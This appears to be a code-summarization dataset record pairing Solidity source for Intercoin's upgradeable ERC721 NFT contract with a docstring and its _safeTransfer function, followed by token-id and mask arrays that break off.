return _tokenApprovals[tokenId];
}
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
_requireCanManageToken(tokenId);
_transfer(from, to, tokenId);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
_requireCanManageToken(tokenId);
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Transfers `tokenId` token from sender to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by sender.
*
* Emits a {Transfer} event.
*/
function transfer(
address to,
uint256 tokenId
) public virtual {
_requireCanManageToken(tokenId);
_transfer(_msgSender(), to, tokenId);
}
/**
* @dev Safely transfers `tokenId` token from sender to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by sender.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransfer(
address to,
uint256 tokenId
) public virtual {
_requireCanManageToken(tokenId);
_safeTransfer(_msgSender(), to, tokenId, "");
}
/**
* @dev Burns `tokenId`. See {ERC721-_burn}.
*
* Requirements:
*
* - The caller must own `tokenId` or be an approved operator.
*/
function burn(uint256 tokenId) public virtual {
//solhint-disable-next-line max-line-length
_requireCanManageToken(tokenId);
_burn(tokenId);
_accountForOperation(
OPERATION_BURN << OPERATION_SHIFT_BITS,
tokenId,
0
);
}
/**
* @dev returns if token is on sale or not,
* whether it exists or not,
* as well as data about the sale and its owner
* @param tokenId token ID
*/
function getTokenSaleInfo(uint256 tokenId)
public
view
returns
(
bool isOnSale,
bool exists,
SaleInfo memory data,
address owner
)
{
data = salesInfoToken[tokenId].saleInfo;
exists = _exists(tokenId);
owner = _owners[tokenId];
if (owner != address(0)) {
if (data.onSaleUntil > block.timestamp) {
isOnSale = true;
}
} else {
uint64 seriesId = getSeriesId(tokenId);
SeriesInfo memory seriesData = seriesInfo[seriesId];
if (seriesData.saleInfo.onSaleUntil > block.timestamp) {
isOnSale = true;
data = seriesData.saleInfo;
owner = seriesData.author;
}
}
}
/**
* @dev the owner should be absolutely sure they trust the trustedForwarder
* @param trustedForwarder_ must be a smart contract that was audited
*/
function setTrustedForwarder(
address trustedForwarder_
)
onlyOwner
public
{
_setTrustedForwarder(trustedForwarder_);
}
/********************************************************************
****** internal section *********************************************
*********************************************************************/
function _msgSender(
)
internal
view
override
returns (address signer)
{
signer = msg.sender;
if (msg.data.length >= 20 && trustedForwarder == signer) {
assembly {
signer := shr(96,calldataload(sub(calldatasize(),20)))
}
}
}
function _setTrustedForwarder(
address trustedForwarder_
)
internal
{
trustedForwarder = trustedForwarder_;
}
function _transferOwnership(
address newOwner
)
internal
virtual
override
{
super._transferOwnership(newOwner);
_setTrustedForwarder(address(0));
}
function _buy(
uint256 tokenId,
bool exists,
SaleInfo memory data,
address owner,
bool safe
)
internal
virtual
{
address ms = _msgSender();
if (exists) {
if (safe) {
_safeTransfer(owner, ms, tokenId, new bytes(0));
} else {
_transfer(owner, ms, tokenId);
}
emit TokenBought(
tokenId,
owner,
ms,
data.currency,
data.price
);
} else {
if (safe) {
_safeMint(ms, tokenId);
} else {
_mint(ms, tokenId);
}
emit Transfer(owner, ms, tokenId);
emit TokenBought(
tokenId,
owner,
ms,
data.currency,
data.price
);
}
}
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
function __ERC721_init(
string memory name_,
string memory symbol_,
address costManager_,
address producedBy_
)
internal
initializer
{
__Context_init();
__ERC165_init();
__Ownable_init();
__ReentrancyGuard_init();
_setNameAndSymbol(name_, symbol_);
costManager = costManager_;
factory = _msgSender();
_accountForOperation(
OPERATION_INITIALIZE << OPERATION_SHIFT_BITS,
uint256(uint160(producedBy_)),
0
);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "recipient must implement ERC721Receiver interface");
}
function _ownerOf(uint256 tokenId) internal view virtual returns (address) {
return _owners[tokenId];
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event. if flag `skipEvent` is false
*/
function _mint(
address to,
uint256 tokenId
)
internal
virtual
{
require(to != address(0), "can't mint to the zero address");
require(_owners[tokenId] == address(0), "token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
uint64 seriesId = getSeriesId(tokenId);
mintedCountBySeries[seriesId] += 1;
if (seriesInfo[seriesId].limit != 0) {
require(
mintedCountBySeries[seriesId] <= seriesInfo[seriesId].limit,
"series token limit exceeded"
);
}
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
_balances[DEAD_ADDRESS] += 1;
_owners[tokenId] = DEAD_ADDRESS;
clearOnSaleUntil(tokenId);
emit Transfer(owner, DEAD_ADDRESS, tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ownerOf(tokenId) == from, "token isn't owned by from address");
require(to != address(0), "can't transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
clearOnSaleUntil(tokenId);
emit Transfer(from, to, tokenId);
_accountForOperation(
(OPERATION_TRANSFER << OPERATION_SHIFT_BITS) | getSeriesId(tokenId),
uint256(uint160(from)),
uint256(uint160(to))
);
}
/**
* @dev sets sale info for the NFT with 'tokenId'
* @param tokenId token ID
* @param info information about sale
*/
function _setSaleInfo(
uint256 tokenId,
SaleInfoToken memory info
)
internal
{
salesInfoToken[tokenId] = info;
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ownerOf(tokenId), to, tokenId);
}
/**
* @param account account
* @param limit limit
*/
function _tokensByOwner(
address account,
uint32 limit
)
internal
view
returns (uint256[] memory array)
{
uint256 len = balanceOf(account);
if (len > 0) {
len = (limit != 0 && limit < len) ? limit : len;
array = new uint256[](len);
for (uint256 i = 0; i < len; i++) {
array[i] = _ownedTokens[account][i];
}
}
}
function getSeriesId(
uint256 tokenId
)
internal
pure
returns(uint64)
{
return uint64(tokenId >> SERIES_SHIFT_BITS);
}
/**
* @dev sets name and symbol for contract
* @param newName new name
* @param newSymbol new symbol
*/
function _setNameAndSymbol(
string memory newName,
string memory newSymbol
)
internal
{
_name = newName;
_symbol = newSymbol;
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
function clearOnSaleUntil(uint256 tokenId) internal {
if (salesInfoToken[tokenId].saleInfo.onSaleUntil > 0 ) salesInfoToken[tokenId].saleInfo.onSaleUntil = 0;
}
function _requireCanManageSeries(uint64 seriesId) internal view virtual {
require(canManageSeries(seriesId), "you can't manage this series");
}
function _requireCanManageToken(uint256 tokenId) internal view virtual {
require(_exists(tokenId), "token doesn't exist");
require(_canManageToken(tokenId), "you can't manage this token");
}
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0)
&& _owners[tokenId] != DEAD_ADDRESS;
}
function _canManageToken(uint256 tokenId) internal view returns (bool) {
return _ownerOf(tokenId) == _msgSender()
|| getApproved(tokenId) == _msgSender()
|| isApprovedForAll(_ownerOf(tokenId), _msgSender());
}
/********************************************************************
****** private section **********************************************
*********************************************************************/
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721ReceiverUpgradeable(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721ReceiverUpgradeable.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
/**
* @dev Private function that tells utility token contract to account for an operation
* @param info uint256 The operation ID (first 8 bits), seriesId is last 8 bits
* @param param1 uint256 Some more information, if any
* @param param2 uint256 Some more information, if any
*/
function _accountForOperation(uint256 info, uint256 param1, uint256 param2) private {
if (costManager != address(0)) {
try ICostManager(costManager).accountForOperation(
_msgSender(), info, param1, param2
)
returns (uint256 /*spent*/, uint256 /*remaining*/) {
// if error is not thrown, we are fine
} catch Error(string memory reason) {
// This is executed in case revert() was called with a reason
revert(reason);
} catch {
revert("Insufficient Utility Token: Contact Owner");
}
}
}
}
// File: contracts/extensions/ERC721SafeHooksUpgradeable.sol
pragma solidity ^0.8.0;
/**
* holds count of series hooks while token mint and buy
*/
abstract contract ERC721SafeHooksUpgradeable is Initializable, ERC721UpgradeableExt {
using EnumerableSetUpgradeable for EnumerableSetUpgradeable.AddressSet;
mapping (uint256 => uint256) public hooksCountByToken; // token ID => hooks count
mapping(uint256 => EnumerableSetUpgradeable.AddressSet) internal hooks; // series ID => hooks' addresses
event NewHook(uint256 seriesId, address contractAddress);
/**
* @dev buys NFT for ETH with defined id.
* mint token if it doesn't exist and transfer token
* if it exists and is on sale
* @param tokenId token ID to buy
* @param price amount of specified ETH to pay
* @param safe use safeMint and safeTransfer or not
* @param hookCount number of hooks
*/
function buy(
uint256 tokenId,
uint256 price,
bool safe,
uint256 hookCount
)
external
payable
{
validateHookCount(tokenId, hookCount);
super.buy(tokenId, price, safe);
}
/**
* @dev buys NFT for specified currency with defined id.
* mint token if it doesn't exist and transfer token
* if it exists and is on sale
* @param tokenId token ID to buy
* @param currency address of token to pay with
* @param price amount of specified token to pay
* @param safe use safeMint and safeTransfer or not
* @param hookCount number of hooks
*/
function buy(
uint256 tokenId,
address currency,
uint256 price,
bool safe,
uint256 hookCount
)
external
{
validateHookCount(tokenId, hookCount);
super.buy(tokenId, currency, price, safe);
}
/**
* @dev link safeHook contract to certain series
* @param seriesId series ID
* @param contractAddress address of SafeHook contract
*/
function pushTokenTransferHook(
uint256 seriesId,
address contractAddress
)
public
onlyOwner
{
try ISafeHook(contractAddress).supportsInterface(type(ISafeHook).interfaceId) returns (bool success) {
if (success) {
hooks[seriesId].add(contractAddress);
} else {
revert("wrong interface");
}
} catch {
revert("wrong interface");
}
emit NewHook(seriesId, contractAddress);
}
/**
* @dev returns the list of hooks for series with `seriesId`
* @param seriesId series ID
*/
function getHookList(
uint256 seriesId
)
external
view
returns(address[] memory)
{
uint256 len = hooksCount(seriesId);
address[] memory allHooks = new address[](len);
for (uint256 i = 0; i < hooksCount(seriesId); i++) {
allHooks[i] = hooks[seriesId].at(i);
}
return allHooks;
}
/**
* @dev returns count of hooks for series with `seriesId`
* @param seriesId series ID
*/
function hooksCount(
uint256 seriesId
)
internal
view
returns(uint256)
{
return hooks[seriesId].length();
}
/**
* @dev validates hook count
* @param tokenId token ID
* @param hookCount hook count
*/
function validateHookCount(
uint256 tokenId,
uint256 hookCount
)
internal
view
{
uint256 seriesId = tokenId >> SERIES_SHIFT_BITS;
require(hookCount == hooksCount(seriesId), "wrong hookCount");
}
/**
* @param name_ name
* @param symbol_ symbol
*/
function __ERC721SafeHook_init(
string memory name_,
string memory symbol_,
address costManager_,
address msgSender_
)
internal
initializer
{
__ERC721_init(name_, symbol_, costManager_, msgSender_);
}
/**
* @dev Overriden function _beforeTokenTransfer with
* hooks executing
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
)
internal
virtual
override
{
uint256 seriesId = tokenId >> SERIES_SHIFT_BITS;
for (uint256 i = 0; i < hooksCountByToken[tokenId]; i++) {
try ISafeHook(hooks[seriesId].at(i)).executeHook(from, to, tokenId)
returns (bool success) {
if (!success) {
revert("Transfer Not Authorized");
}
} catch Error(string memory reason) {
// This is executed in case revert() was called with a reason
revert(reason);
} catch {
revert("Transfer Not Authorized");
}
}
super._beforeTokenTransfer(from, to, tokenId);
}
/**
* @dev overriden _mint function.
* Here we remember count of series hooks at this moment.
* So further hooks will not apply for this token
*/
function _mint(
address to,
uint256 tokenId
)
internal
virtual
override
{
_storeHookCount(tokenId);
super._mint(to, tokenId);
}
/**
* @dev overriden _buy function.
* Here we remember count of series hooks at this moment.
* So further hooks will not apply for this token
*/
function _buy(
uint256 tokenId,
bool exists,
SaleInfo memory data,
address owner,
bool safe
)
internal
override
{
_storeHookCount(tokenId);
super._buy(tokenId, exists, data, owner, safe);
}
/**
* @dev used to storage hooksCountByToken at this moment
*/
function _storeHookCount(
uint256 tokenId
)
internal
{
hooksCountByToken[tokenId] = hooks[tokenId >> SERIES_SHIFT_BITS].length();
}
}
// File: contracts/presets/NFTSafeHook.sol
/**
Although this code is available for viewing on GitHub and Etherscan, it is NOT licensed to the general public.
To prevent confusion and increase trust in the audited code bases of smart contracts we produce, we intend for there to be only ONE official Factory address on the blockchain producing these NFT smart contracts, and we are going to point a blockchain domain name at it.
Copyright (c) Intercoin Inc. All rights reserved.
However, the general public is welcome to use this official Factory to produce instances for their use. We may begin requiring staking of ITR tokens in order to take actions (such as producing series and minting tokens). If you are looking to obtain ITR tokens or custom work done with your NFT projects, visit intercoin.org
Any user of software powered by this code must agree to the following, in order to use it. If you do not agree, refrain from using the software:
DISCLAIMERS AND DISCLOSURES.
Customer expressly recognizes that nearly any software may contain unforeseen bugs or other defects, due to the nature of software development. Moreover, because of the immutable nature of smart contracts, any such defects will persist in the software once it is deployed onto the blockchain. Customer therefore expressly acknowledges that no outside audits of the software have been conducted, and any responsibility to obtain such audits and analysis of any software produced by Developer rests solely with Customer.
Customer understands and acknowledges that the Software is being delivered as-is, and may contain potential defects. While Developer and its staff and partners have exercised care and best efforts in an attempt to produce solid, working software products, Developer EXPRESSLY DISCLAIMS MAKING ANY GUARANTEES, REPRESENTATIONS OR WARRANTIES, EXPRESS OR IMPLIED, ABOUT THE FITNESS OF THE SOFTWARE, INCLUDING LACK OF DEFECTS, MERCHANTABILITY OR SUITABILITY FOR A PARTICULAR PURPOSE.
Customer agrees that neither Developer nor any other party has made any representations or warranties, nor has the Customer relied on any representations or warranties, express or implied, including any implied warranty of merchantability or fitness for any particular purpose with respect to the Software. Customer acknowledges that no affirmation of fact or statement (whether written or oral) made by Developer, its representatives, or any other party outside of this Agreement with respect to the Software shall be deemed to create any express or implied warranty on the part of Developer or its representatives.
INDEMNIFICATION.
Customer agrees to indemnify, defend and hold Developer and its officers, directors, employees, agents and contractors harmless from any loss, cost, expense (including attorney’s fees and expenses), associated with or related to any demand, claim, liability, damages or cause of action of any kind or character (collectively referred to as “claim”), in any manner arising out of or relating to any third party demand, dispute, mediation, arbitration, litigation, or any violation or breach of any provision of this Agreement by Customer.
NO WARRANTY.
THE SOFTWARE IS PROVIDED “AS IS” WITHOUT WARRANTY. DEVELOPER SHALL NOT BE LIABLE FOR ANY DIRECT, INDIRECT, SPECIAL, INCIDENTAL, CONSEQUENTIAL, OR EXEMPLARY DAMAGES FOR BREACH OF THE LIMITED WARRANTY. TO THE MAXIMUM EXTENT PERMITTED BY LAW, DEVELOPER EXPRESSLY DISCLAIMS, AND CUSTOMER EXPRESSLY WAIVES, ALL OTHER WARRANTIES, WHETHER EXPRESSED, IMPLIED, OR STATUTORY, INCLUDING WITHOUT LIMITATION ALL IMPLIED WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE OR USE, OR ANY WARRANTY ARISING OUT OF ANY PROPOSAL, SPECIFICATION, OR SAMPLE, AS WELL AS ANY WARRANTIES THAT THE SOFTWARE (OR ANY ELEMENTS THEREOF) WILL ACHIEVE A PARTICULAR RESULT, OR WILL BE UNINTERRUPTED OR ERROR-FREE. THE TERM OF ANY IMPLIED WARRANTIES THAT CANNOT BE DISCLAIMED UNDER APPLICABLE LAW SHALL BE LIMITED TO THE DURATION OF THE FOREGOING EXPRESS WARRANTY PERIOD. SOME STATES DO NOT ALLOW THE EXCLUSION OF IMPLIED WARRANTIES AND/OR DO NOT ALLOW LIMITATIONS ON THE AMOUNT OF TIME AN IMPLIED WARRANTY LASTS, SO THE ABOVE LIMITATIONS MAY NOT APPLY TO CUSTOMER. THIS LIMITED WARRANTY GIVES CUSTOMER SPECIFIC LEGAL RIGHTS. CUSTOMER MAY HAVE OTHER RIGHTS WHICH VARY FROM STATE TO STATE.
LIMITATION OF LIABILITY.
TO THE MAXIMUM EXTENT PERMITTED BY APPLICABLE LAW, IN NO EVENT SHALL DEVELOPER BE LIABLE UNDER ANY THEORY OF LIABILITY FOR ANY CONSEQUENTIAL, INDIRECT, INCIDENTAL, SPECIAL, PUNITIVE OR EXEMPLARY DAMAGES OF ANY KIND, INCLUDING, WITHOUT LIMITATION, DAMAGES ARISING FROM LOSS OF PROFITS, REVENUE, DATA OR USE, OR FROM INTERRUPTED COMMUNICATIONS OR DAMAGED DATA, OR FROM ANY DEFECT OR ERROR OR IN CONNECTION WITH CUSTOMER'S ACQUISITION OF SUBSTITUTE GOODS OR SERVICES OR MALFUNCTION OF THE SOFTWARE, OR ANY SUCH DAMAGES ARISING FROM BREACH OF CONTRACT OR WARRANTY OR FROM NEGLIGENCE OR STRICT LIABILITY, EVEN IF DEVELOPER OR ANY OTHER PERSON HAS BEEN ADVISED OR SHOULD KNOW OF THE POSSIBILITY OF SUCH DAMAGES, AND NOTWITHSTANDING THE FAILURE OF ANY REMEDY TO ACHIEVE ITS INTENDED PURPOSE. WITHOUT LIMITING THE FOREGOING OR ANY OTHER LIMITATION OF LIABILITY HEREIN, REGARDLESS OF THE FORM OF ACTION, WHETHER FOR BREACH OF CONTRACT, WARRANTY, NEGLIGENCE, STRICT LIABILITY IN TORT OR OTHERWISE, CUSTOMER'S EXCLUSIVE REMEDY AND THE TOTAL LIABILITY OF DEVELOPER OR ANY SUPPLIER OF SERVICES TO DEVELOPER FOR ANY CLAIMS ARISING IN ANY WAY IN CONNECTION WITH OR RELATED TO THIS AGREEMENT, THE SOFTWARE, FOR ANY CAUSE WHATSOEVER, SHALL NOT EXCEED 1,000 USD.
ENTIRE AGREEMENT
This Agreement contains the entire agreement and understanding among the parties hereto with respect to the subject matter hereof, and supersedes all prior and contemporaneous agreements, understandings, inducements and conditions, express or implied, oral or written, of any nature whatsoever with respect to the subject matter hereof. The express terms hereof control and supersede any course of performance and/or usage of the trade inconsistent with any of the terms hereof. Provisions from previous Agreements executed between Customer and Developer., which are not expressly dealt with in this Agreement, will remain in effect.
SUCCESSORS AND ASSIGNS
This Agreement shall continue to apply to any successors or assigns of either party, or any corporation or other entity acquiring all or substantially all the assets and business of either party whether by operation of law or otherwise.
ARBITRATION
All disputes related to this agreement shall be governed by and interpreted in accordance with the laws of New York, without regard to principles of conflict of laws. The parties to this agreement will submit all disputes arising under this agreement to arbitration in New York City, New York before a single arbitrator of the American Arbitration Association (“AAA”). The arbitrator shall be selected by application of the rules of the AAA, or by mutual agreement of the parties, except that such arbitrator shall be an attorney admitted to practice law New York. No party to this agreement will challenge the jurisdiction or venue provisions as provided in this section. No party to this agreement will challenge the jurisdiction or venue provisions as provided in this section.
**/
pragma solidity ^0.8.0;
pragma abicoder v2;
/**
* NFT with safe hooks support
*/
contract NFTSafeHook is ERC721SafeHooksUpgradeable {
/**
* @notice initializes contract
*/
function initialize(
string memory name_,
string memory symbol_,
string memory contractURI_,
address costManager_,
address producedBy_
)
public
initializer
{
__Ownable_init();
__ReentrancyGuard_init();
__ERC721SafeHook_init(name_, symbol_, costManager_, producedBy_);
_contractURI = contractURI_;
}
} | * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients are aware of the ERC721 protocol to prevent tokens from being forever locked. `_data` is additional data, it has no specified format and it is sent in call to `to`. This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. implement alternative mechanisms to perform token transfer, such as signature-based. Requirements: - `from` cannot be the zero address. - `to` cannot be the zero address. - `tokenId` token must exist and be owned by `from`. - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. Emits a {Transfer} event./ | function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "recipient must implement ERC721Receiver interface");
}
| 5,384,800 | [
1,
26946,
2357,
29375,
1375,
2316,
548,
68,
1147,
628,
1375,
2080,
68,
358,
1375,
869,
9191,
6728,
1122,
716,
6835,
12045,
854,
18999,
434,
326,
4232,
39,
27,
5340,
1771,
358,
5309,
2430,
628,
3832,
21238,
8586,
18,
1375,
67,
892,
68,
353,
3312,
501,
16,
518,
711,
1158,
1269,
740,
471,
518,
353,
3271,
316,
745,
358,
1375,
869,
8338,
1220,
2713,
445,
353,
7680,
358,
288,
4626,
5912,
1265,
5779,
471,
848,
506,
1399,
358,
425,
18,
75,
18,
2348,
10355,
1791,
28757,
358,
3073,
1147,
7412,
16,
4123,
487,
3372,
17,
12261,
18,
29076,
30,
300,
1375,
2080,
68,
2780,
506,
326,
3634,
1758,
18,
300,
1375,
869,
68,
2780,
506,
326,
3634,
1758,
18,
300,
1375,
2316,
548,
68,
1147,
1297,
1005,
471,
506,
16199,
635,
1375,
2080,
8338,
300,
971,
1375,
869,
68,
21368,
358,
279,
13706,
6835,
16,
518,
1297,
2348,
288,
2
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
